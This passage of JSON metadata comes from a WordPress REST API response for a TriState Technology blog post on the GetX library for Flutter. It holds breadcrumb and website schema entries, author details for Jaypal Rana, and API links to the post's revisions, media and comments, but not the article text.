[{"@type":"ListItem","position":1,"name":"Blog","item":"https:\/\/www.tristatetechnology.com\/blog\/"},{"@type":"ListItem","position":2,"name":"GetX for flutter &#8211; everything you need to know"}]},{"@type":"WebSite","@id":"https:\/\/www.tristatetechnology.com\/blog\/#website","url":"https:\/\/www.tristatetechnology.com\/blog\/","name":"","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.tristatetechnology.com\/blog\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.tristatetechnology.com\/blog\/#\/schema\/person\/a8c57d262c46c3b1499b9d911601cc7b","name":"Jaypal Rana","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.tristatetechnology.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/119642e73b8fe57d88442892280e182d?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/119642e73b8fe57d88442892280e182d?s=96&d=mm&r=g","caption":"Jaypal Rana"},"description":"Jaypal Rana is a Team Leader at TriState Technology with expertise in Android and Flutter Developer.","url":"https:\/\/www.tristatetechnology.com\/blog\/author\/jaypal-rana"}]}},"_links":{"self":[{"href":"https:\/\/www.tristatetechnology.com\/blog\/wp-json\/wp\/v2\/posts\/9663"}],"collection":[{"href":"https:\/\/www.tristatetechnology.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.tristatetechnology.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.tristatetechnology.com\/blog\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/www.tristatetechnology.com\/blog\/wp-json\/wp\/v2\/comments?post=9663"}],"version-history":[{"count":75,"href":"https:\/\/www.tristatetechnology.com\/blog\/wp-json\/wp\/v2\/posts\/9663\/revisions"}],"predecessor-version":[{"id":14607,"href":"https:\/\/www.tristatetechnology.com\/blog\/wp-json\/wp\/v2\/posts\/9663\/revisions\/14607"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.tristatetechnology.com\/blog\/wp-json\/wp\/v2\/media\/9753"}],"wp:attachment":[{"href":"https:\/\/www.tristatetechnology.com\/blog\/wp-json\/wp\/v2\/media?parent=9663"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.tristatetechnology.com\/blog\/wp-json\/wp\/v2\/categories?post=9663"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.tristatetechnology.com\/blog\/wp-json\/wp\/v2\/tags?post=9663"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}